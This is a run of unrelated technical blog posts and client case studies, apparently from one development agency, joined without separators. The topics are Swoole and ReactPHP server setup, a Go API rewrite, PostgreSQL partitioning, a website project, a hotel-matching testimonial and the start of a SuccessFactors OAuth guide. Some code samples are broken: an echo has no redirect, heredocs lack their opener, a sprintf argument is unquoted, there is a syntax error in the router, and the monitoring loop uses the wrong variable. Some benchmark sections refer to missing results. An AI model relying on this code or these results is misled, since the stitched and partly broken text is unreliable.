You can install Swoole in a few different ways – by compiling it and as a PECL package. Of course you need PHP 7.0.0 or a later version installed on the server (the higher the version, the better the performance).

apt install php7.0-dev

1. Installation

a. Compile

git clone https://github.com/swoole/swoole-src.git
cd swoole-src
phpize
./configure
make && make install

Don’t forget to add extension=swoole.so to your php.ini.

b. PECL

pecl install swoole

2. Configuration

As mentioned above after compiling the package and installing it to the system, you have to add a new line extension=swoole.so to php.ini to enable the Swoole extension.

echo "extension=swoole.so" /etc/php/7.0/mods-available/swoole.ini
ln -s /etc/php/7.0/mods-available/swoole.ini /etc/php/7.0/cli/conf.d/10-swoole.ini

3. Testing

Okay, we have Swoole installed on our system! Let’s write our first Hello world code and test it to see if it’s working correctly.

cd /tmp/
cat < swoole.php
    \$http = new swoole_http_server('127.0.0.1', 9501);
    \$http->on('start', function (\$server) {
        echo "Start swoole server";
    });
    \$http->on("request", function (\$request, \$response) {
        \$response->header("Content-Type", "text/plain");
        \$response->end("Hello World\n");
    }); 

    \$http->start();
EOF

php swoole.php
curl 127.0.0.1:9501
rm swoole.php

4. System Configuration

Now let's create the logs directory:

mkdir /var/log/swoole
chown vagrant: vagrant /var/log/swoole

5. Startup Script

We can easily create a startup script which will give us a good way to start, stop or restart the Swoole server, like this:

cat < /etc/systemd/system/swoole.service
[Unit]
Description=Swoole Service
After=network.target
 
[Service]
Type=forking
User=vagrant
Group=vagrant
 
ExecStart=/usr/bin/php //swoole.php
ExecStop=/bin/kill \$MAINPID
ExecReload=/bin/kill -USR1 \$MAINPID
 
RuntimeDirectory=swoole
RuntimeDirectoryMode=0750
PIDFile=/var/run/swoole/swoole.pid
[Install]
WantedBy = multi-user.target
EOF
 
systemctl enable swoole.service
systemctl start swoole.service

{{ newsletter }}

A few easy changes to get Swoole LIVE

There are a few pieces of code that we needed to change in order to make the Swoole core working with our application code which as you remember had its ReactPHP core. Please keep in mind that each application is unique, with different structure so in our case the changes that we did were really tiny.

So, what were our differences – the main one is the server initialization:

/** Create the server **/
$server = new swoole_http_server('127.0.0.1', 18101, SWOOLE_BASE);
 
$server->set(array(
  'worker_num' => 4,
  'reactor_num' => 16,
  'daemonize' => 1,
  'max_request' => 0,
  'dispatch_mode' => 1,
  'group' => 'vagrant',
  'log_level'=> 0,
  'log_file' => '/var/log/swoole/swoole.log',
  'pid_file' => '/var/run/swoole/swoole.pid'
));
 
$server->start();

The important settings that will help us have a good asynchronous oroutine-based concurrency networking communication engine are the following:

worker_num - The number of the worker process. If the code of logic is asynchronous and non-blocking, set the worker_num to the value from one times to four times of CPU cores.

reactor_num - This is the number of the reactor thread. In general, the number of the reactor thread is between one and four times the CPU cores.

daemonize - If the value of daemonize is more than 1, the Swoole server will be daemonized. For programs which we need to have running for long time this configuration must be enable - in our case it should be set to true. If the daemonize option is  enabled, the standard output and the errors from the program will be redirected to log_file, otherwise the standard output and errors from the program will be passed to /dev/null.

max_request - If you want to accept unlimited connections you should set this option to 0.

And here is an interesting function that you can use to get the numbers of your server CPU cores, it can ease your work a lot:

function getProcessorCoresNumber() {
  $command = "cat /proc/cpuinfo | grep processor | wc -l";
  return  (int) shell_exec($command);
}

The second difference was meant to create a new router function.

Benefits

So let’s compare the results between PeactPHP and Swoole based on a simple benchmark on the same server with identical worker settings, and of course – with the same PHP structure and functionality. The only thing that’s different is the core:

Swoole:

Running 10s test @ http://swoole.app/ping/
  4 threads and 400 connections
  Thread Stats   Avg      Stdev     Max   +/- Stdev
    Latency    52.94ms   45.83ms 246.61ms   80.01%
    Req/Sec     2.21k     1.77k    5.57k    71.00%
  87826 requests in 10.02s, 15.83MB read
Requests/sec:   8766.80
Transfer/sec:      1.58MB

ReactPHP:

Running 10s test @ http://reactphp.app/ping/
  4 threads and 400 connections
  Thread Stats   Avg      Stdev     Max   +/- Stdev
    Latency   202.68ms  261.44ms   1.69s    88.96%
    Req/Sec   635.46     85.47     0.91k    75.94%
  25283 requests in 10.05s, 4.00MB read
  Socket errors: connect 0, read 0, write 0, timeout 82
Requests/sec:   2516.24
Transfer/sec:    407.90KB

As you can see the latency is extremely low for Swoole. Also the requests that ReactPHP can handle on this server are almost four times less than what Swoole can handle.

Btw when I run the benchmark which is provided on the Swoole page the results are incredible! Such numbers cannot be seen with ReactPHP:

Running 10s test @ http://127.0.0.1:9501/
  4 threads and 400 connections
  Thread Stats   Avg      Stdev     Max   +/- Stdev
    Latency     4.46ms    4.77ms  40.16ms   84.73%
    Req/Sec    29.46k     5.90k   57.66k    70.28%
  1170955 requests in 10.10s, 195.42MB read
Requests/sec: 115956.06
Transfer/sec:     19.35MB

Of course we’re still trying to improve our code so the application could probably work even faster.

Final words

Swoole has components for different purposes: Server, Task Worker, Timer, Event and Async IO. With these components, Swoole allows you to build many features like web servers, chat messaging servers, game servers and almost anything you want.

Maybe the top advantage of Swoole compared to other complex programming languages, often used on the servers, is that it is very scalable. The event-based network layer in Swoole utilizes the underlying epoll/kqueue implementation in order to handle as far as several thousand connections.

As you are aware PHP is an easy language, relatively fast and provides plenty of useful tools. So we built our API in PHP and were pleased with it - it worked, looked nice but still we decided to give Go a try. You may wonder what was the reason for our decision. The answer is we had some concerns about the performance of the API and were looking for alternatives. Although we had no previous experience with Go we decided to use this language and to rewrite the API in it.

My personal opinion about Go is that it is an interesting language, similar to C but without too many integrated tools. On the other hand it has plenty of packages and libraries. It’s strictly typed language and if your previous experience has nothing to do with such kind of programming languages than you may have a hard time. But strict as it is Go teaches you some discipline.

Our first job was to find some useful packages for the REST service. The requirements the package had to meet were speed and to have some rate limiters.

After doing some research and initial tests we decided to try 3 packages – Chi (https://github.com/go-chi/chi), Mux (https://github.com/gorilla/mux) and Gin (https://github.com/gin-gonic/gin). They are quite similar, but Gin has a lots of features. Since we looked for performance we decided to make a simple test with response static JSON using 100000 request and 100 concurrent connections.

The results were as follows:

Looking at the test results our choice was to go with Mux – it was a bit faster than Chi and nearly two times faster than Gin.

Now the trickiest part of the work was ahead us - we had to write the API.

The Go's package system is a little bit strange to me, and we were as well not certain how to structure the project. Looking at it now I assume we could have used different approach but even the way it turned out the design looks nice.

When we were ready with our Go RESTful API, we were eager to perform tests to compare it with PHP's performance. In the beginning the results were almost the same. That was quite a surprise, because the test on the local machine showed different values. We started looking for the reason behind these results and in the end we found it. We use Nginx as reverse proxy and it has some limits in configuration. Hence our first results were not what we expected them to be. So we resolved that issue and did the test one more time.

For the test we used 1000 requests and 100 concurrency:

Although there was a striking difference, we decided to try with more queries - 10000 requests and 100 concurrency:

At the higher load the PHP started to return failed requests, so we did another test without Nginx using only Go. This time we used 10000 requests and 1000 concurrency for the test and the results were interesting:

It was obvious that Go without Nginx worked faster and steadier. This made it clear how to proceed further.

We were clear to go with our next task. Since we wanted to use different domains on one port we had to find small and fast proxy for our Go API. Which we did.

So in case you need to build a high loaded application operating tons of requests we strongly recommend Go and our approach if you find it useful.

Now our clients open the statistics page and they see the aggregated statistics data. Each data row has a link to the detailed statistics which are stored, as we said, in a PostgreSQL table. The search in the said table is based on several criteria so it was convenient to add an index that would boost the process. So far so good!

Everything was fine in the first few months until the amount of data increased again especially when we began keeping it for longer period of time – a year and above (from 2017-01-01). At that time our table had 666,454,166 rows in total and was about 350 GB of size - raw, without indices.

Having a table of such size isn’t a problem itself, but can cause other issues like:

• query performance starting to degrade;
• indices take much longer to update;
• maintenance tasks, such as vacuum, also become uncommonly long;
• daily backups take too much time.

So depending on how we needed to manage the stored information, Postgres table partitioning was a great way to improve query performance and deal with large amount of data over time without having to choose a different database system.

Partitioning and inheritance

Table partitioning is a good solution in our case. We take one massive table and split it into many smaller ones. These smaller tables are called partitions or child tables. Operations like backups, SELECTs, and DELETEs can be performed with the individual partitions or with all of the partitions. Partitions can also be dropped or exported as single transactions.

Master table

Master partition table is the template that the child tables derive from. This is an ordinary table, but it doesn’t contain any data and requires a trigger in order to execute the queries leading to the relevant child table. There is a one-to-many relationship between a master table and child tables, so to speak there is one master table and many child tables.

Child tables

These tables inherit their structure from the master table and also belong to a single master table. The child tables contain the full data.

Partition Function and trigger

The partition function is a stored procedure that determines which child table should accept a new record. The master table has a trigger which calls a partition function. There are two typical approaches for sending records to the designated child tables – by date values and by fixed values (like geo locations). In our case since the statistics data is time sensitive information, we will use the date values criteria.

{{ newsletter }}

Configuring table partitions

Here is what we did:

1. Created a master table
2. Created a trigger function
3. Created a table trigger

The master table

In order to store the information about the tracked objects and events we created a master table called detailed statistics.

CREATE TABLE public.detailed_statistics (
    id integer NOT NULL,
    widget_id integer,
    offer_type varchar(16) not null,
    offer_offer_id integer,
    offer_creative_id integer,
    event_type types,
    event_revenue numeric(15,5),
    event_cost numeric(15,5),
    event_url text,
    event_parameters text,
    user_device varchar(32) not null,
    user_os varchar(64) not null,
    user_browser varchar(64) not null,
    user_remote_addr varchar(15) not null,
    created_at timestamp with time zone,
    day date
);

For one month this table may be filled with millions of rows and this is the reason we  wanted to partition it - to improve query performance.

The trigger function

The trigger function we created performs as it follows:

• Creates child partition tables if such doesn’t exist yet;
• The name of each child partition table is given following the same logic - public.detailed_statistics_yYYYYmMM - the partitions are determined by the values in the day column and we will have one partition per calendar month;
• Creates indexes where needed;

So here is the function syntax:

CREATE OR REPLACE FUNCTION public.statistics_partition_function()
    RETURNS TRIGGER 
AS $BODY$
    DECLARE
    partition_name text;
    partition_date TIMESTAMP;
    partition_enddate TIMESTAMP;
    BEGIN

    --Takes the current inbound day value and determines when midnight is for the given date
    partition_date := date_trunc('month', NEW.created_at);
    partition_name := 'detailed_statistics_y' || to_char(partition_date, 'YYYYmMM');

    -- Check if the partition exists
    PERFORM 1
    FROM   pg_catalog.pg_class c
    JOIN   pg_catalog.pg_namespace n ON n.oid = c.relnamespace
    WHERE  c.relkind = 'r'
    AND    c.relname = partition_name
    AND    n.nspname = 'public';

    -- Create the partition if doesn't exist
    IF NOT FOUND THEN
        partition_enddate:=partition_date::timestamp + INTERVAL '1 month';
        EXECUTE 'CREATE TABLE IF NOT EXISTS public.' || quote_ident(partition_name) || ' (
            CHECK ( day >= ' || quote_literal(partition_date) || '::date AND day < ' || quote_literal(partition_enddate) || '::date )
        ) INHERITS (public.detailed_statistics)';

        -- Table permissions are not inherited from the parent.
        EXECUTE 'ALTER TABLE public.' || quote_ident(partition_name) || ' OWNER TO postgres';

        -- Indexes are defined per child, so we assign a default index that uses the partition columns
        EXECUTE 'CREATE INDEX ' || quote_ident(partition_name||'_dewoo') || ' ON public.' || quote_ident(partition_name) || ' USING btree (day DESC, event_type, widget_id, offer_type, offer_offer_id)';
    END IF;

    -- Insert the current record into the correct partition, which we are sure will now exist.
    EXECUTE 'INSERT INTO public.' || quote_ident(partition_name) || ' VALUES ($1.*)' USING NEW;
    RETURN NULL;
    END;
$BODY$
LANGUAGE plpgsql;

If the partition doesn’t exist we create it. We use CHECK to specify which rows will end up in this table, and use INHERITS to bind this child table to its parent. After that we must add INDEX on this new child table as child tables are created without indexes.

The table trigger

After the partition function has been created we also make an insert trigger which is added to the master table. This trigger calls the partition function when new records are inserted.

CREATE TRIGGER insert_detailed_statistics_trigger
    BEFORE INSERT
    ON public.detailed_statistics
    FOR EACH ROW
    EXECUTE PROCEDURE public.statistics_partition_function();

That’s it! The partitions have been created, the trigger function defined, and the trigger has been added to the master table. This is all you need to start inserting data on the statistics table and the data can be directed to the appropriate partition.

Let’s check!

Let’s conduct a simple test to check if we have made proper partitioning which will be proved by hitting only a small portion of real data.

EXPLAIN ANALYSE
SELECT * FROM detailed_statistics 
WHERE day BETWEEN '2018-05-31'::date AND '2018-06-01'::date 
AND event_type = 'click'
AND widget_id = 7194
AND offer_type = 'link'
AND offer_offer_id = 1610
LIMIT 30

And here is the result:

Limit  (cost=0.00..104.05 rows=30 width=670)
  ->  Append  (cost=0.00..193955.32 rows=550922 width=670)
        ->  Seq Scan on detailed_statistics  (cost=0.00..0.00 rows=1 width=1898)
              Filter: ((day >= '2018-05-31'::date) AND (day <= '2018-06-01'::date) AND (event_type = 'click'::types) AND (widget_id = 7194) AND ((offer_type)::text = 'linkcard'::text) AND (offer_offer_id = 1610))
        ->  Index Scan using detailed_statistics_y2018m05_decoo on detailed_statistics_y2018m05  (cost=0.57..19644.57 rows=307903 width=636)
              Index Cond: ((day >= '2018-05-31'::date) AND (day <= '2018-06-01'::date) AND (event_type = 'click'::types) AND (widget_id = 7194) AND ((offer_type)::text = 'linkcard'::text) AND (offer_offer_id = 1610))
        ->  Index Scan using detailed_statistics_y2018m06_decoo on detailed_statistics_y2018m06  (cost=0.56..174310.75 rows=243019 width=672)
              Index Cond: ((day >= '2018-05-31'::date) AND (day <= '2018-06-01'::date) AND (event_type = 'click'::types) AND (widget_id = 7194) AND ((offer_type)::text = 'linkcard'::text) AND (offer_offer_id = 1610))
Planning time: 0.987 ms
Execution time: 34.909 ms

Well, we think this solution definitely works  as currently we have 16 child tables but the planner hits only two –  exactly the ones we need!

Should you use table partitioning in your project too?

Table partitioning allows you to divide one very large table into many smaller tables thus dramatically increasing the performance.  However, this shouldn’t be the first solution to count on when you run into problem. If you wonder whether table partitioning is the proper solution for you then maybe you should answer some questions:

• Do you have a large data set stored in one table?
• Is the data going to be updated after being initially inserted?
• Did you make as much optimization as possible with indexes?
• Do you think that the data has little value after a period of time?
• Is there a small range of data that has to be queried to get the results needed?
• Can the older data with little value be archived?

Table partitioning makes sense if you answered yes to all of these questions. But be careful, table partitioning requires evaluation of how you’re querying your data, planning ahead and considering your usage patterns. As long as you take these factors into account, table partitioning can create real performance boost for your queries and your project.

With more than 18 years of experience Rollplast is one of the leading manufacturers of uPVC windows, doors, blinds and glass partitions in Bulgaria. Their expanse on the Balkans’ market demanded  a scalable multilingual website which could present the company, products catalogue, store locations and business opportunities to the local and international clients.

We created the new website from scratch - from a customised administration panel, designated for straightforward management and categorisation of wide variety of products and details, to a contemporary and responsive front-end design which purpose was to provide the clients and business partners with a one-click contact with a sales representative.

In the course of the work we kept in mind the requirements of the client and in each step of the process worked with the marketing team in order to create smooth user experience and to accomplish the main objective - increasing the leads conversion rate.

Responsive full-screen layout

In order to achieve the high-end catalogue appearance we've accented on quality imagery and spacious text areas which fill the entire screen in every resolution.

Products listing

The full range of products is organised in customisable categories and sub-categories with additional information areas and technical specifications.

Locations map

We built filter and search functionality based on Google Maps which allows browsing more than 240 locations in 4 countries. Finding the nearest Rollplast store or showroom have never been easier.

Visit the site on rollplast.com

One of our clients is a performance driven media company utilizing exclusive properties and platforms to link brands and consumers through targeted marketing solutions.

Two years ago they commissioned us to develop their new new project. They needed a complex solution for serving automatically text, image, video and interactive media advertisements to targeted clients. We chose to build the platform with PHP. Everything was functioning fine for some time but recently the platform gained momentum and has began generating several million events daily (impressions, clicks, conversions). These needed to be tracked properly.

The traditional way to do this proved to be ineffective. Since Apache + PHP-FPM couldn’t handle all  the requests, the response time increased and some of the requests were on the edge to be rejected. And for a service of this kind this would have been devastating. We tried using several caching mechanisms, different databases, aggregation techniques, etc. However that was insufficient. We needed something more powerful and swift.

So we tried to find what needed to be improved and what software could be good enough to tackle the issue. The team has a big experience with Python and async frameworks but we wanted something in PHP. We’ve heard about ReactPHP before but haven’t got the chance to see it working so this time we decided to give it a go.

Server configuration

What we needed was a server that could spawn several ReactPHP workers to take advantage of the server’s multi core CPUs. The best performance can be achieved by PHP7 and Nginx as a load balancer.

Nginx as a Load-Balancer

It is possible to use Nginx as a very efficient HTTP load balancer which distributes traffic to several application servers and improves the performance, scalability and reliability of our ReactPHP workers.

Our goal is to proxy only those requests that don’t point to a local file. The number of ReactPHP workers should be at least equal to the number of CPU cores. Also, using UDS (Unix Domain Sockets) is preferable to using TCP/IP because with UDS we have ~50% latency reduction and almost 5X more throughput (source: https://github.com/rigtorp/ipc-bench).

By default, Nginx redefines two header fields in the proxied requests, “Host” and “Connection”, and eliminates the header fields whose values are empty strings. So since we want ReactPHP to receive host and remote address properly we should include them in the configuration.

The following configuration can be used for our react+nginx setup:

upstream reactor  {
  server unix:/tmp/reactphp/reactphp.worker1.sock fail_timeout=1;
  server unix:/tmp/reactphp/reactphp.worker2.sock fail_timeout=1;
  server unix:/tmp/reactphp/reactphp.worker3.sock fail_timeout=1;
  server unix:/tmp/reactphp/reactphp.worker4.sock fail_timeout=1;
}
server {
  ...
  real_ip_header X-Forwarded-For;
  real_ip_recursive on;
  location / {
    proxy_set_header  Host $host;
    proxy_set_header  X-Real-IP $remote_addr;
    proxy_set_header  X-Forwarded-Proto https;
    proxy_set_header  X-Forwarded $remote_addr;
    proxy_set_header  X-Forwarded-For $proxy_add_x_forwarded_for;
    proxy_set_header  X-Forwarded-Host $remote_addr;
    if (!-f $request_filename) {
      proxy_pass http://reactor;
      break;
    }
    try_files $uri $uri/ /index.php?$query_string;
  }
  ...
}

ReactPHP as HTTP server

To start using ReactPHP as a HTTP server or in our case as a worker we can use its HTTP component and require it with composer:

composer require react/http:^0. 8.1

When we have the component installed we can create simple server.php file which will start our workers.

/** Start the project via bootstrap **/
require_once 'bootstrap.php';

$options = getopt('', array('worker:'));

if(isset($options['worker'])) {
  $number = $options['worker'];
  } else {
    die('use with --worker [number]');
  }

# Remove the previous socket file if exist
  $workerUDS = sprintf(/tmp/reactphp/reactphp.worker%s.sock, $number);
  if (file_exists($workerUDS)) {
    unlink($workerUDS);
  }

$loop = React\EventLoop\Factory::create();
  $socket = new React\Socket\UnixServer($workerUDS, $loop);
  $server->listen($socket);

$loop->run();

Reading the last line, we have:

• $loop->run() – this makes our worker run inside an infinite loop (that's how long running processes work)
• $socket->listen($socket) – it opens a socket by listening to a port (that's how servers work)

In order to run several workers the script expects a parameter with key worker which indicates the number of the worker. So we can have as many as we want (1, 2, 3, … 10, and so on) workers, we just need to add them to the Nginx upstream setting.

The script uses our custom bootstrap. Inside there is a piece of code for the router that will handle each HTTP request. For example we can create a simple “Ping? Pong!” request like this:

$server = new Server(function (ServerRequestInterface $request) {
  # Prepare needed parameters
  $method = $request->getMethod();
  $path = $request->getUri()->getPath();
  switch ($method) {
    # Handle GET requests
    case 'GET':
      switch ($path) {
        ### Ping? Pong! ###
        case '/ping/':
          $response = [
            'code' => 200,
            'headers' => ['Content-Type' => 'text/html']
            'body' => 'Pong!'
          ]);
        break;
      }
    break;
  }
  return new Response(
    $response['code'],
    $response['headers'],
    $response['body']
  );
});

We can run one of the workers like this:

php server.php  --worker 1

Finally we can visit the page at http://localhost/ping/, and see a message Pong!

Benchmark

The code was rewritten and optimized to work with ReactPHP and after that we made a few benchmark tests on one of our local machines – 4 cores, 4Gb RAM.

All requests simulate real requests with the functionality we needed – we have DB reading and writing, writing to a log file, Memcached requests and so on. So here are the results:

Nginx + FPM-PHP - 1000 requests with 30 connections (concurrency level)

Nginx + ReactPHP - 1000 requests with 30 connections (concurrency level)

Nginx + FPM-PHP - 2000 requests with 100 connections (concurrency level)

Nginx + ReactPHP - 2000 requests with 100 connections (concurrency level)

Nginx + ReactPHP - 2000 requests with 200 connections (concurrency level)

Nginx + ReactPHP - 5000 requests with 500 connections (concurrency level)

It’s evident from the graphs how much faster ReactPHP is. The regular PHP-FPM server started to cut the connections when I set concurrency level to 200 - 1698 requests were rejected! So 200 parallel requests at same time couldn't be handled by the local test server.

On the other hand on the same server ReactPHP handled 200 and even 500 parallel connections and processed all 2000/5000 requests without any problem!

As we can see, the ReactPHP server with nginx as a load balancer is over 10-15 times faster than old-school PHP-FPM and can handle up to 10x requests without any problem. This means, we have a dramatic performance increase with our Nginx+ReactPHP application. So this should worth a try.

Why does the performance increase?

In order to explain the reason behind this increased performance with ReactPHP we have to take a look at how the the things work usually. In a normal stack like Nginx / PHP-FPM for each HTTP request:

1. a HTTP server receives the request;
2. it starts a new PHP process, super globals like $_GET, $_POST, $_SERVER, etc are created using the data from the request;
3. the PHP process executes our code and returns the output;
4. the HTTP server uses the output to create a response and terminates the PHP process.

In this scenario, we may not worry too much about the following:

• each new process starting with a fresh empty memory which is freed once it exits (so there are not memory leaks)
• a process crashing won't affect other processes
• static and global variables are not shared between processes
• each new process starts with the new code

The traditional architecture is "shared-nothing". That means killing the PHP process once the response is sent and sharing nothing between two Requests.

The biggest disadvantage of such a setup is the low performance, because creating a PHP process for each HTTP Request means executing the following steps (bootstrap footprint):

• starting a process;
• starting PHP while loading configuration, starting extensions, etc;
• starting the application while loading configuration, initializing services, autoloading, etc.

On the contrary with ReactPHP we keep our application always running between requests so we only execute this bootstrap once, upon starting the server - the footprint is absent from Requests.

However this comes at a price - now we're vulnerable to memory consumption, fatal error, statefulness, code update worries and keeping connections of any kind alive (like MySQL, PostgreSQL, Memcached) so we have to be very careful and handle all these issues on our own.

Going to production with ReactPHP

Now that we are ready to go with our application as an HTTP server with multiple workers we need to execute a couple of additional tasks: we have to make the code stateless and we need to restart the workers on each code update.

We created a bash script that takes care of our workers so they can be managed easily and run in the background. We can call it server.sh

#!/bin/bash

if [ "$#" -ne 2 ];then
  echo "Usage: $(basename $0) start|stop|kill|restart|status [worker-number]"
  exit 1
fi

APP_NAME=server.php
LOG_FILE=private/logs/reactphp/server.worker$2.log

pgrep -u $USER -f "$APP_NAME --worker $2$" > /dev/null #(-l will list the full command with args)
RUNNING="$?"
MY_PID=$(pgrep -u $USER -f "$APP_NAME --worker $2$")

case "$1" in
  start)
    if [ "$RUNNING" -eq 1 ]; then
      echo -e "Worker is not running! Starting it..."
      nohup php $APP_NAME --worker $2 > $LOG_FILE 2>&1 &
    else
      echo "Worker is running. Processes:"
      pgrep -u $USER -f "$APP_NAME --worker $2$" –l
    fi
    ;;
  stop)
    if [ "$RUNNING" -eq 1 ]; then
      echo -e "Worker is not running; nothing to stop!"
    else
      echo -e "Worker is running; killing it!"
      kill -15 $MY_PID
    fi
  ;;
  kill)
    if [ "$RUNNING" -eq 1 ]; then
      echo -e "Worker is not running; nothing to stop!"
    else
      echo -e "Worker is running; killing it!"
      kill $MY_PID
    fi
  ;;
  status)
  if [ "$RUNNING" -eq 1 ]; then
    echo -e "Worker is not running $2!"
  else
    echo "Worker is running. Processes:"
    pgrep -u $USER -f "$APP_NAME --worker $2$" –l
  fi
  ;;
  restart)
    if [ "$RUNNING" -eq 1 ]; then
      echo -e "Worker is not running; starting it!"
      nohup php $APP_NAME --worker $2 > $LOG_FILE 2>&1 &
    else
      echo -e "Worker is running; restarting it!"
      kill -15 $MY_PID
      nohup php $APP_NAME --worker $2 > $LOG_FILE 2>&1 &
    fi
  ;;
  *)
    echo "Usage: $(basename $0) start|stop|restart|status --worker [worker-number]"
    exit 1
esac

With this script we can effortlessly start, stop, restart, kill and get the process status of a worker. And it’s pretty easy to use:

./server.sh start 1

And our first worker is LIVE.

We use GIT to manage our development process so the easiest way to restart the workers (when we have code updates to deploy) is to execute a restart command for all the workers on post receive.

We can add the following lines to git/hooks/post-receive file:

# Restart all workers
  cd /path/to/the/project

  chmod 755 server.sh
  chmod 755 antineutrino.sh

  ./server.sh restart 1
  ./server.sh restart 2
  sleep 2
  ./server.sh restart 3
  ./server.sh restart 4

You may wonder why there is a sleep command. The answer is simple – we don’t want to reject any request which is received by Nginx while the workers are unavailable. If you have noticed in our Nginx configuration file we’ve added fail_timeout=1 to each upstream location which means if the worker is down it will be checked again in one second (by default this setting is 10 seconds which is too long in our case). So we give 2 seconds for the first half of workers to be restarted and then we restart the rest.

Another cool thing that we’ve implemented in our code is the support of killing signals thanks to the ReactPCNTL library. In our server.sh script the restart and stop commands send SIGTERM and the kill command terminates the process. We added the following lines to the bootstrap.php:

# Graceful stop
  $exit = function() use ($loop) {
    $loop->stop();
  };

# Wait for exit signal...
  $pcntl = new MKraemer\ReactPCNTL\PCNTL($loop);
  $pcntl->on(SIGTERM, $exit);
  $pcntl->on(SIGINT, $exit);

Thus none of the workers will be restarted before its current task (Request) is finished.

Regarding fatal errors and memory consumption, we can mitigate their impact using simple strategy - we restart the server once it stops. There is a plenty of software that handle this task - PHP-PM, Aerys, Supervisord and others.

Instead we decided to build our custom monitoring system again using ReactPHP!

ReactPHP Monitoring system

The monitoring system that we built does a few things:

• monitors whether the workers are alive;
• follows what are the workers’ current status (current memory usage, peak memory usage, finished tasks;
• sends alerts in case something goes wrong;
• performs some other actions - for example like restarting the workers.

So what we did was to create a simple and stable ReactPHP worker to monitor the main tracker workers. We decided to communicate with the workers via socket connections and to fetch the stats mentioned above (uptime, memory, finished tasks) every 30 seconds. Also the monitoring system is watching for the server load, memory usage and the number of the requests.

In our workers’ bootstrap we’ve added the following lines to allow socket connections from the monitoring system:

/** Terminal **/
$terminal = new React\Socket\UnixServer(‘/tmp/reactphp/reactphp.worker’. $number .’.sock’, $loop);
$terminal->on('connection', function(React\Socket\ConnectionInterface $connection) use ($loop, $startTime, &$tasks) {
  $connection->on('data', function($data) use ($connection, $startTime, &$tasks) {
    switch(trim($data)) {
      case 'levels':
        $memoryUsage = \Tools\Utils::getServerMemoryUsage();
        $connection->write(sprintf("server_memory:%s|%s|%s\n",
          $memoryUsage["free"],                         # Free
          $memoryUsage["total"] - $memoryUsage["free"], # Used
          $memoryUsage["total"]                         # Total
        ));
        $connection->write(sprintf("process_memory:%s|%s|%s|%s|%s\n",
          memory_get_usage(),          # Used
          memory_get_usage(true),      # Used real
          memory_get_peak_usage(),     # Peak
          memory_get_peak_usage(true), # Peak real
          ini_get('memory_limit')      # Memory limit
        ));
        $connection->write(sprintf("start_time:%s\n",
          $startTime
        ));
        $connection->write(sprintf("tasks:%s\n",
          $tasks
        ));
        break;
    }
  });
});

And now our workers are ready to accept connections from the monitoring system. Next let’s see how the monitoring system will connect to the workers.

We created a file called monitoring.php as well as a monitoring.sh bash file which runs the application in a background mode. In the config file we added all workers’ instances that we want to monitor.

$connector = new React\Socket\UnixConnector($loop, array(
  'timeout' => 10.0,
  'dns' => false
));

for ($idx = WORKERS_FIRST_IDX; $idx < (WORKERS_FIRST_IDX + WORKERS_TOTAL); $idx++) {
  $statistics[$idx] = $defaultValues;
  $blockUDS = sprintf('/tmp/reactphp/reactphp.worker'. $number .'.statistics.sock', $idx);

  $timer = $loop->addPeriodicTimer(MONITORING_UPDATE_TIME, function () use ($connector, $idx, $blockUDS) {
    $connector->connect(sprintf($blockUDS, $idx))->then(
      function (ConnectionInterface $connection) use ($blockUDS, $idx, &$statistics) {
        $connection->on('data', function ($data) use ($connection, $blockUDS, $idx) {
          // Collect information from a worker and store it in DB or in Cache
          // Checking its memory usage and send an alert if something's wrong
          }
          $connection->end();
        });
        # Send a "levels" command on connect
        $connection->write('levels' . PHP_EOL);

        # Report errors to STDERR
        $connection->on('error', function ($error) use ($connection) {
          $connection->end();
        });

        # Report closing and stop reading from input
        $connection->on('close', function () use ($connection) {
          unset($connection);
        });
      },
      # Failed to connect due to $error
      function (Exception $error) use ($connector) {
        // Send a Slack alert that the worker is down.
      }
    );
  });
}

We use the addPeriodicTimer method from ReactPHP EventLoop Component  which is useful for invoking specific callback repeatedly after the set interval.

Once we collect the metrics we can display them on some password protected URL. As mentioned before we have two kinds of stats – Server overview and Workers overview. Here is how our tracking system displays them:

Server overview

Workers overview

Final words

ReactPHP is a powerful library indeed. You only need about 40-50 lines of code to run a simple application and you will have a superfast HTTP server. Using ReactPHP we managed to kill the expensive bootstrap of our application (one of the most time consuming parts of the process) and we drastically increased the performance of the platform.

Matching hotels data supplied though multiple sources has long been one of the toughest challenges in the industry. Apart from the difficulties of comparing across languages, the data provided is regularly patchy and riddled with errors.

At Skoosh, we worked on this project for nearly 2 years, dedicating senior members of both the product and I.T. departments before we finally accepted an in-house solution was not possible. At a certain point, every update to our algorithm was producing as many queries as it was resolving.

When we took this project to Neural Brothers the requirements we gave them was an automated solution which matched as much data as possible plus an interface to review and manually match the remainder.

The Solution

Believing that the multiple connections between the data were core we took the project to a number of specialists in the area of neural science. Many were excited by the scale and challenge of the project and wanted to start immediately. Neural Brothers was the only company that took the time to understand everything Skoosh had tried up to that point and to explain to us exactly what was possible.

Neural Brothers/MTR Design have played a significant part in the evolution of Skoosh and we look forward to working with them again wherever possible.
— Dorian Harris, Owner at Skoosh

After extensive dialogue, Neural Brothers assured Skoosh that an entirely automated solution was impossible because even a manual review of the data wouldn't be sufficient without reference to other sources of information (websites, calling the hotels directly and so on). Instead they offered to develop and algorithm to highlight all the likely matches and a simple interface through which to manual review the matches.

Neural Brothers developed both the algorithm and the interface but the project didn't stop there. As we started to work on the interface we realized it would be ideal if the external checks we were making onto Google Maps and the hotels' websites could be built into the interface. Neural Brothers were happy to assist with each new development and they added each one so the interface grew to incorporate more than we originally planned for.

The Results

There were no Skoosh developers involved until the data was finally integrated back into our back-office. At this point the two teams started a dialogue and the Skoosh guys highly respected the Neural Brothers managers and developers knowledge and confidence.

The resulting interface is so simple to use that we have managed to outsource the manual matching, something we tried before on our in-house system with very poor results. It allows for a much easier review of data and mistakes have been minimized as a result.

Less than a month after the new data was launched the results of this project are beginning to show with a significant increase of previously untapped hotels beginning to sell.

One of the most impressive things about working with Neural Brothers was their ability to estimate time-frames and associated costs. I had never experienced that before and it took a lot of stress out of the project.

I would highly recommend Neural Brothers to anyone with similar projects in mind. They confidently told us from the outset what was possible. We have previously worked on countless I.T. projects at Skoosh and their level of professionalism is exceptional.

Neural Brothers have played a significant part in the evolution of Skoosh and we look forward to working with them again wherever possible.

The plan for this guide:

• Configuring SuccessFactors for OAuth authentication.
• Generating SAML assertions: ** Using the SFSF API. ** Using our own XML-signing code.
• Obtaining an access token.
• Authenticating OData requests.

OAuth Access Configuration

Unlike Jam, when working with SuccessFactors authentication, all you need to do is configure an OAuth client application. SFSF is smart enough to use it as an identity provider if you configure an X.509 certificate for your application.

Registering the application goes as following:

• Generate a RSA key pair and export your public key as a X.509 certificate. Use the generate_keys.sh tool and consult the Jam SAML article if you get stuck.
